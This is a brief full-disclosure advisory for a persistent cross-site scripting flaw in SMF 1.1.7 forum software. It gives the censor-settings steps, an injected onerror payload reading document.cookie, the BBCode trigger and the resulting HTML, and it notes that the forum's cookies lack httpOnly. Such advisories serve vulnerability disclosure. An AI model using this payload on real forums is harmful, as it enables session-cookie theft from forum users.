SMF 1.1.7 Persistent XSS (requires permision to edit censor)

SMF 1.1.7 (simplemachines.org) XSS

Exploitation:

If you can modify the censor on a SMF forum, then you can make it
execute arbitrary JS code.
http://SMF.Forum.com/index.php?action=postsettings;sa=censor

Just add the following entry:
http://www.test.xss/ => http://www.test-xss/" onerror="alert(document.cookie)

And then write a post, modify your signature, or send a PM with the code:
[img]http://www.test.xss/[/img]

And the HTML code generated will be…
<img src="http://www.test-xss/&quot; onerror="alert(document.cookie)"
alt="" border="0" />

Notes:

• SMF is not using httpOnly cookies.
• I'm going full disclosure with this because I've had bad
  experiences with the SMF team when reporting vulnerabilities…

Greetings!!
– Eduardo
http://www.sirdarckcat.net/